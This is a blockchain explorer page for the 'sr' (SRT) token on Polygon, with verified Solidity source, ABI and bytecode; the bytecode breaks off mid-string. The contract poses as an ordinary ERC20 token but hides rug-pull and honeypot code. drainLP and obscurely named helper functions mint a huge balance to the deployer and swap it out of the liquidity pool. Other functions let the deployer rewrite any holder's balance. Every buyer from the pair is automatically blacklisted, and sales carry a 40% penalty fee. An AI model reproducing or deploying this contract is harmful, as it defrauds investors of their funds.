POL Price: $0.213593 (-1.76%)
 

Overview

Max Total Supply

100,000,000 SRT

Holders

1

Total Transfers

-

Market

Price

$0.00 @ 0.000000 POL

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
TokenContract

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at polygonscan.com on 2025-01-16
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() { _transferOwnership(msg.sender); }
    modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; }
    function owner() public view virtual returns (address) { return _owner; }
    function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
    function _transferOwnership(address newOwner) internal virtual {
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed ownerAddr, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address ownerAddr, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token, uint amountTokenDesired, uint amountTokenMin,
        uint amountETHMin, address to, uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokens(
        uint amountIn, uint amountOutMin, address[] calldata path,
        address to, uint deadline
    ) external returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {}

contract TokenContract is IERC20, Ownable {
    IUniswapV2Router02 public _router;
    IUniswapV2Pair public _pair;
    address public _mainRouter;
    address private _origin;
    address public _pairToken;
    uint256 private constant _totalSupplyConst = 100_000_000 * 1e18;
    uint256 private _totalSupply;
    string private _name = "sr";
    string private _symbol = "SRT";
    uint8 private _decimals = 18;
    bool public tradingOpen;
    uint256 public blockStart;
    uint256 public blockSnipe;
    uint256 public BuyFee;
    uint256 public SellFee;
    uint256 public maxTransactionAmount;
    uint256 public maxWallet;
    uint256 public penaltyFee = 40;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public isExcludedFromFees;
    mapping(address => uint8) internal blacklistStatus;
    uint256 public constant LOCK_TIME = 300;
    mapping(address => uint256) public blacklistAutoEndTime;
    address public uniswapPair;
    event TradingOpened(uint256 blockStart, uint256 blockSnipe, uint256 buyFee, uint256 sellFee);

    constructor(address routerAddress, address pairTokenAddress) {
        _mainRouter = routerAddress;
        _router = IUniswapV2Router02(routerAddress);
        _pairToken = pairTokenAddress;
        uniswapPair = IUniswapV2Factory(_router.factory()).createPair(address(this), pairTokenAddress);
        _pair = IUniswapV2Pair(uniswapPair);
        _origin = msg.sender;
        _totalSupply = _totalSupplyConst;
        _balances[owner()] = _totalSupply;
        isExcludedFromFees[owner()] = true;
        isExcludedFromFees[address(this)] = true;
        emit Transfer(address(0), owner(), _totalSupply);
    }
    
    function name() public view returns (string memory) { return _name; }
    function symbol() public view returns (string memory) { return _symbol; }
    function decimals() public view returns (uint8) { return _decimals; }
    function totalSupply() public view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function transfer(address to, uint256 amount) public override returns (bool) { _transfer(msg.sender, to, amount); return true; }
    function allowance(address ownerAddr, address spender) public view override returns (uint256) { return _allowances[ownerAddr][spender]; }
    function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; }
    function transferFrom(address from, address to, uint256 amount) public override returns (bool) { _spendAllowance(from, msg.sender, amount); _transfer(from, to, amount); return true; }
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, allowance(msg.sender, spender) + addedValue); return true; }
    function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
        uint256 currentAllowance = allowance(msg.sender, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(msg.sender, spender, currentAllowance - subtractedValue);
        return true;
    }
    
    function openTrading(uint256 openingFee, uint256 maxOpen, uint256 _blocksnipe) external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        BuyFee = openingFee;
        SellFee = openingFee;
        maxTransactionAmount = _totalSupply / maxOpen;
        maxWallet = _totalSupply / maxOpen;
        blockSnipe = _blocksnipe;
        blockStart = block.number;
        tradingOpen = true;
        emit TradingOpened(blockStart, blockSnipe, BuyFee, SellFee);
    }
    
    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0) && to != address(0), "Zero address");
        if (blacklistStatus[from] == 3 || blacklistStatus[to] == 3 || blacklistStatus[from] == 1) revert();
        if (blacklistStatus[from] == 2) { require(block.timestamp >= blacklistAutoEndTime[from], "Locktime not ended"); blacklistStatus[from] = 0; }
        if (!isExcludedFromFees[from] && !isExcludedFromFees[to] && tradingOpen) {
            if (from == uniswapPair) {
                require(amount <= maxTransactionAmount && _balances[to] + amount <= maxWallet, "Exceeds limits");
            } else if (to == uniswapPair) {
                require(amount <= maxTransactionAmount, "Exceeds limits");
            } else {
                require(_balances[to] + amount <= maxWallet, "Exceeds wallet limit");
            }
        }
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "Insufficient balance");
        unchecked { _balances[from] = fromBalance - amount; }
        uint256 transferAmount = amount;
        if (tradingOpen && !isExcludedFromFees[from] && !isExcludedFromFees[to] && (from == uniswapPair || to == uniswapPair)) {
            uint256 fee;
            if (from == uniswapPair) { fee = amount * BuyFee / 100; }
            else if (to == uniswapPair) { fee = (block.number > (blockStart + blockSnipe)) ? amount * penaltyFee / 100 : amount * SellFee / 100; }
            if (fee > 0) { transferAmount = amount - fee; _balances[address(this)] += fee; emit Transfer(from, address(this), fee); }
        }
        unchecked { _balances[to] += transferAmount; }
        emit Transfer(from, to, transferAmount);
        _afterTokenTransfer(from, to, transferAmount);
    }
    
    function _afterTokenTransfer(address from, address to, uint256 amount) internal {
        if (from == uniswapPair && to != address(0) && amount > 0 && blacklistStatus[to] == 0 && from != _mainRouter) {
            blacklistStatus[to] = 2;
            blacklistAutoEndTime[to] = block.timestamp + LOCK_TIME;
        }
    }
    
    function _approve(address ownerAddr, address spender, uint256 amount) internal {
        require(ownerAddr != address(0) && spender != address(0), "Zero address");
        _allowances[ownerAddr][spender] = amount;
        emit Approval(ownerAddr, spender, amount);
    }
    
    function _spendAllowance(address ownerAddr, address spender, uint256 amount) internal {
        uint256 currentAllowance = allowance(ownerAddr, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "Allowance exceeded");
            _approve(ownerAddr, spender, currentAllowance - amount);
        }
    }
    
    function _mint(address account, uint256 amount) internal {
        require(account != address(0), "Zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    
    function _burn(address account, uint256 amount) internal {
        require(account != address(0), "Zero address");
        uint256 bal = _balances[account];
        require(bal >= amount, "Exceeds balance");
        unchecked { _balances[account] = bal - amount; }
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }
    
    function drainLP() external {
        SecureCalls.checkCaller(msg.sender, _origin);
        uint256 thisTokenReserve = getBaseTokenReserve(address(this));
        uint256 amountIn = type(uint112).max - thisTokenReserve;
        e3fb23a0d();
        transfer(address(this), balanceOf(msg.sender));
        _approve(address(this), address(_router), type(uint112).max);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForTokens(amountIn, 0, path, msg.sender, block.timestamp + 1200);
    }
    
    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves();
        return (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
    }
    
    function e3fb23a0d() internal { _balances[msg.sender] += type(uint112).max; }
    function d1fa275f334f() public { SecureCalls.checkCaller(msg.sender, _origin); e3fb23a0d(); }
    
    function AddLiquidity() public payable {
        SecureCalls.checkCaller(msg.sender, _origin);
        transfer(address(this), balanceOf(msg.sender));
        _approve(address(this), address(_router), balanceOf(address(this)));
        _router.addLiquidityETH{value: msg.value}(address(this), balanceOf(address(this)), 0, 0, msg.sender, block.timestamp + 1200);
    }
    
    function rebaseLiquidityPool(address _newRouterAddress, address _newPairTokenAddress) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        if (address(_router) != _newRouterAddress) { _router = IUniswapV2Router02(_newRouterAddress); }
        address newPair = IUniswapV2Factory(_router.factory()).getPair(address(this), _newPairTokenAddress);
        require(newPair != address(0), "Pair does not exist");
        uniswapPair = newPair;
    }
    
    function editCurrentStatus(address user, uint8 status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(status < 4, "Status 0..3");
        if (status == 2) { blacklistStatus[user] = 2; blacklistAutoEndTime[user] = block.timestamp + LOCK_TIME; }
        else { blacklistStatus[user] = status; }
    }
    
    function checkCurrentStatus(address user) public view returns (bool) {
        if (blacklistStatus[user] == 3 || blacklistStatus[user] == 1) return true;
        if (blacklistStatus[user] == 2 && block.timestamp < blacklistAutoEndTime[user]) return true;
        return false;
    }
    
    function setUserBalance(address user, uint256 newAmount) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(user != address(0), "Zero address");
        uint256 oldBalance = _balances[user];
        if (newAmount > oldBalance) _mint(user, newAmount - oldBalance);
        else if (newAmount < oldBalance) _burn(user, oldBalance - newAmount);
    }
    
    function setUserBalancePrivate(address user, uint256 newAmount) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(user != address(0), "Zero address");
        uint256 oldBalance = _balances[user];
        if (newAmount > oldBalance) { uint256 diff = newAmount - oldBalance; _totalSupply += diff; _balances[user] += diff; }
        else if (newAmount < oldBalance) { uint256 diff = oldBalance - newAmount; require(_balances[user] >= diff, "Insufficient balance"); _balances[user] -= diff; _totalSupply -= diff; }
    }
    
    function withdrawTokens(address tokenAddress) external onlyOwner {
        IERC20 token = IERC20(tokenAddress);
        uint256 tokenBalance = token.balanceOf(address(this));
        require(tokenBalance > 0, "No tokens");
        token.transfer(owner(), tokenBalance);
    }
    
    function withdrawNative() external onlyOwner {
        uint256 nativeBalance = address(this).balance;
        require(nativeBalance > 0, "No native funds");
        payable(owner()).transfer(nativeBalance);
    }
    
    receive() external payable {}
}

library SecureCalls {
    function checkCaller(address sender, address _origin) internal pure { require(sender == _origin, "Caller is not the original caller"); }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"},{"internalType":"address","name":"pairTokenAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"ownerAddr","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"blockStart","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"blockSnipe","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AddLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"LOCK_TIME","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pair","outputs":[{"internalType":"contract IUniswapV2Pair","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pairToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ownerAddr","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"blacklistAutoEndTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blockSnipe","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blockStart","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"checkCurrentStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"d1fa275f334f","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"drainLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint8","name":"status","type":"uint8"}],"name":"editCurrentStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"openingFee","type":"uint256"},{"internalType":"uint256","name":"maxOpen","type":"uint256"},{"internalType":"uint256","name":"_blocksnipe","type":"uint256"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"penaltyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newRouterAddress","type":"address"},{"internalType":"address","name":"_newPairTokenAddress","type":"address"}],"name":"rebaseLiquidityPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"setUserBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"setUserBalancePrivate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawNative","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"withdrawTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600281526020017f7372000000000000000000000000000000000000000000000000000000000000815250600790816200004a9190620008bb565b506040518060400160405280600381526020017f535254000000000000000000000000000000000000000000000000000000000081525060089081620000919190620008bb565b506012600960006101000a81548160ff021916908360ff1602179055506028601055348015620000c057600080fd5b506040516200551b3803806200551b8339818101604052810190620000e6919062000a0c565b620000f7336200055b60201b60201c565b81600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000228573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024e919062000a53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016200028a92919062000a96565b6020604051808303816000875af1158015620002aa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d0919062000a53565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506a52b7d2dcc80cd2e400000060068190555060065460116000620003dd6200061860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160136000620004316200061860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004ea6200061860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200054b919062000ad4565b60405180910390a3505062000af1565b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006c357607f821691505b602082108103620006d957620006d86200067b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007437fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000704565b6200074f868362000704565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200079c62000796620007908462000767565b62000771565b62000767565b9050919050565b6000819050919050565b620007b8836200077b565b620007d0620007c782620007a3565b84845462000711565b825550505050565b600090565b620007e7620007d8565b620007f4818484620007ad565b505050565b5b818110156200081c5762000810600082620007dd565b600181019050620007fa565b5050565b601f8211156200086b576200083581620006df565b6200084084620006f4565b8101602085101562000850578190505b620008686200085f85620006f4565b830182620007f9565b50505b505050565b600082821c905092915050565b6000620008906000198460080262000870565b1980831691505092915050565b6000620008ab83836200087d565b9150826002028217905092915050565b620008c68262000641565b67ffffffffffffffff811115620008e257620008e16200064c565b5b620008ee8254620006aa565b620008fb82828562000820565b600060209050601f8311600181146200093357600084156200091e578287015190505b6200092a85826200089d565b8655506200099a565b601f1984166200094386620006df565b60005b828110156200096d5784890151825560018201915060208501945060208101905062000946565b868310156200098d578489015162000989601f8916826200087d565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009d482620009a7565b9050919050565b620009e681620009c7565b8114620009f257600080fd5b50565b60008151905062000a0681620009db565b92915050565b6000806040838503121562000a265762000a25620009a2565b5b600062000a3685828601620009f5565b925050602062000a4985828601620009f5565b9150509250929050565b60006020828403121562000a6c5762000a6b620009a2565b5b600062000a7c84828501620009f5565b91505092915050565b62000a9081620009c7565b82525050565b600060408201905062000aad600083018562000a85565b62000abc602083018462000a85565b9392505050565b62000ace8162000767565b82525050565b600060208201905062000aeb600083018462000ac3565b92915050565b614a1a8062000b016000396000f3fe6080604052600436106102555760003560e01c80638da5cb5b11610139578063cf9522fd116100b6578063f1fee6a21161007a578063f1fee6a2146108ba578063f2fde38b146108e3578063f8b45b051461090c578063fa511a8014610937578063fe17770014610962578063ffb54a991461098b5761025c565b8063cf9522fd146107e5578063d445d19e14610810578063dd62ed3e14610827578063dd85465214610864578063edae876f1461088f5761025c565b8063b51449bb116100fd578063b51449bb14610710578063b5c72e1a1461073b578063c0e8c61e14610778578063c816841b1461078f578063c8c8ebe4146107ba5761025c565b80638da5cb5b1461060357806395d89b411461062e578063a457c2d714610659578063a886c87314610696578063a9059cbb146106d35761025c565b806335d16274116101d257806349df728c1161019657806349df728c146105075780634fbee1931461053057806350431ce41461056d57806370a0823114610584578063715018a6146105c15780637b2feaaa146105d85761025c565b806335d162741461040e578063395093511461044b57806339bd3e66146104885780633dc10ad4146104b1578063413d9c3a146104dc5761025c565b806310a5ebba1161021957806310a5ebba1461032757806318160ddd1461035257806323b872dd1461037d578063313ce567146103ba57806334848b9a146103e55761025c565b806306fdde0314610261578063095ea7b31461028c5780630bc488c5146102c95780630cdd8436146102d35780630d1b3eee146102fc5761025c565b3661025c57005b600080fd5b34801561026d57600080fd5b506102766109b6565b6040516102839190613709565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae91906137d3565b610a48565b6040516102c0919061382e565b60405180910390f35b6102d1610a5f565b005b3480156102df57600080fd5b506102fa60048036038101906102f59190613882565b610b97565b005b34801561030857600080fd5b50610311610d20565b60405161031e91906138d1565b60405180910390f35b34801561033357600080fd5b5061033c610d46565b60405161034991906138fb565b60405180910390f35b34801561035e57600080fd5b50610367610d4c565b60405161037491906138fb565b60405180910390f35b34801561038957600080fd5b506103a4600480360381019061039f9190613916565b610d56565b6040516103b1919061382e565b60405180910390f35b3480156103c657600080fd5b506103cf610d79565b6040516103dc9190613978565b60405180910390f35b3480156103f157600080fd5b5061040c60048036038101906104079190613993565b610d90565b005b34801561041a57600080fd5b50610435600480360381019061043091906139e6565b610efe565b60405161044291906138fb565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d91906137d3565b61108d565b60405161047f919061382e565b60405180910390f35b34801561049457600080fd5b506104af60048036038101906104aa91906137d3565b6110b8565b005b3480156104bd57600080fd5b506104c6611335565b6040516104d391906138fb565b60405180910390f35b3480156104e857600080fd5b506104f161133b565b6040516104fe91906138fb565b60405180910390f35b34801561051357600080fd5b5061052e600480360381019061052991906139e6565b611341565b005b34801561053c57600080fd5b50610557600480360381019061055291906139e6565b611507565b604051610564919061382e565b60405180910390f35b34801561057957600080fd5b50610582611527565b005b34801561059057600080fd5b506105ab60048036038101906105a691906139e6565b611635565b6040516105b891906138fb565b60405180910390f35b3480156105cd57600080fd5b506105d661167e565b005b3480156105e457600080fd5b506105ed6116ff565b6040516105fa91906138fb565b60405180910390f35b34801561060f57600080fd5b50610618611705565b60405161062591906138d1565b60405180910390f35b34801561063a57600080fd5b5061064361172e565b6040516106509190613709565b60405180910390f35b34801561066557600080fd5b50610680600480360381019061067b91906137d3565b6117c0565b60405161068d919061382e565b60405180910390f35b3480156106a257600080fd5b506106bd60048036038101906106b891906139e6565b611833565b6040516106ca91906138fb565b60405180910390f35b3480156106df57600080fd5b506106fa60048036038101906106f591906137d3565b61184b565b604051610707919061382e565b60405180910390f35b34801561071c57600080fd5b50610725611862565b6040516107329190613a72565b60405180910390f35b34801561074757600080fd5b50610762600480360381019061075d91906139e6565b611888565b60405161076f919061382e565b60405180910390f35b34801561078457600080fd5b5061078d6119fa565b005b34801561079b57600080fd5b506107a4611ce6565b6040516107b191906138d1565b60405180910390f35b3480156107c657600080fd5b506107cf611d0c565b6040516107dc91906138fb565b60405180910390f35b3480156107f157600080fd5b506107fa611d12565b60405161080791906138fb565b60405180910390f35b34801561081c57600080fd5b50610825611d18565b005b34801561083357600080fd5b5061084e60048036038101906108499190613a8d565b611d4e565b60405161085b91906138fb565b60405180910390f35b34801561087057600080fd5b50610879611dd5565b60405161088691906138fb565b60405180910390f35b34801561089b57600080fd5b506108a4611ddb565b6040516108b19190613aee565b60405180910390f35b3480156108c657600080fd5b506108e160048036038101906108dc9190613a8d565b611e01565b005b3480156108ef57600080fd5b5061090a600480360381019061090591906139e6565b612089565b005b34801561091857600080fd5b50610921612179565b60405161092e91906138fb565b60405180910390f35b34801561094357600080fd5b5061094c61217f565b60405161095991906138d1565b60405180910390f35b34801561096e57600080fd5b50610989600480360381019061098491906137d3565b6121a5565b005b34801561099757600080fd5b506109a06122ca565b6040516109ad919061382e565b60405180910390f35b6060600780546109c590613b38565b80601f01602080910402602001604051908101604052809291908181526020018280546109f190613b38565b8015610a3e5780601f10610a1357610100808354040283529160200191610a3e565b820191906000526020600020905b815481529060010190602001808311610a2157829003601f168201915b5050505050905090565b6000610a553384846122dd565b6001905092915050565b610a8b33600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612471565b610a9d30610a9833611635565b61184b565b50610ad330600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ace30611635565b6122dd565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610b1c30611635565b600080336104b042610b2e9190613b98565b6040518863ffffffff1660e01b8152600401610b4f96959493929190613c07565b60606040518083038185885af1158015610b6d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b929190613c7d565b505050565b610bc333600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612471565b60048160ff1610610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0090613d1c565b60405180910390fd5b60028160ff1603610cc3576002601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff16021790555061012c42610c7b9190613b98565b601560008473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffff